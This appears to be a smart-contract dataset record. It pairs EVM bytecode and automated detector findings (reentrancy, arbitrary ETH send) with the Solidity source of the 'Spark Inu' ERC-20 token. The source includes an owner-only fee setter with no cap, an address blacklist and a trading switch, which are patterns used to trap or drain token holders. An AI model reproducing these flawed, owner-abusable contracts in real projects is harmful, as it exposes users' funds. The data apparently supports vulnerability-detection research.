050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220688202db3d07e4d91d55ff28ef1a7af5bf0b9aa10743e36f5690f6d199ef8afd64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 682 |
0x2099259454183b5b984eb4d26497054ee8cc2e76 | /**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SparkInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Spark Inu";
string private constant _symbol = "SPARK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2939AB98b721C286418dA69c21d997B35d354693);
address payable private _marketingAddress = payable(0x2939AB98b721C286418dA69c21d997B35d354693);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 7500 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104af57600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195c565b6105fa565b005b34801561020a57600080fd5b50604080518082019091526009815268537061726b20496e7560b81b60208201525b6040516102399190611a21565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a76565b610699565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b5066038d7ea4c680005b604051908152602001610239565b3480156102da57600080fd5b506102626102e9366004611aa2565b6106b0565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610239565b34801561032c57600080fd5b50601554610292906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae3565b610719565b34801561036c57600080fd5b506101fc61037b366004611b10565b610764565b34801561038c57600080fd5b506101fc6107ac565b3480156103a157600080fd5b506102c06103b0366004611ae3565b6107f7565b3480156103c157600080fd5b506101fc610819565b3480156103d657600080fd5b506101fc6103e5366004611b2b565b61088d565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae3565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610292565b34801561045757600080fd5b506101fc610466366004611b10565b6108bc565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b50604080518082019091526005815264535041524b60d81b602082015261022c565b3480156104bb57600080fd5b506101fc6104ca366004611b2b565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b44565b610933565b3480156104fb57600080fd5b5061026261050a366004611a76565b610971565b34801561051b57600080fd5b5061026261052a366004611ae3565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b76565b6109d2565b34801561058057600080fd5b506102c061058f366004611bfa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b2b565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ae3565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c33565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c68565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c94565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611dae602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c33565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c33565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c33565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c33565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c33565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c33565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c68565b9050602002016020810190610a339190611ae3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c94565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c33565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c33565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611caf565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461146d565b600081848411156112105760405162461bcd60e51b81526004016106249190611a21565b50600061121d8486611cc7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161149b565b90506112dd83826114be565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c68565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138057600080fd5b505afa158015611394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b89190611cde565b816001815181106113cb576113cb611c68565b6001600160a01b0392831660209182029290920101526014546113f19130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a908590600090869030904290600401611cfb565b600060405180830381600087803b15801561144457600080fd5b505af1158015611458573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147a5761147a611500565b61148584848461152e565b80610a6d57610a6d600e54600c55600f54600d55565b60008060006114a8611625565b90925090506114b782826114be565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b600c541580156115105750600d54155b1561151757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154087611691565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157290876116ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a19086611730565b6001600160a01b0389166000908152600260205260409020556115c38161178f565b6115cd84836117d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163f82826114be565b82101561165a5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116845760405162461bcd60e51b81526004016106249190611a21565b50600061121d8486611d6c565b60008060008060008060008060006116ae8a600c54600d546117fd565b92509250925060006116be61149b565b905060008060006116d18e878787611852565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b60008061173d8385611caf565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b602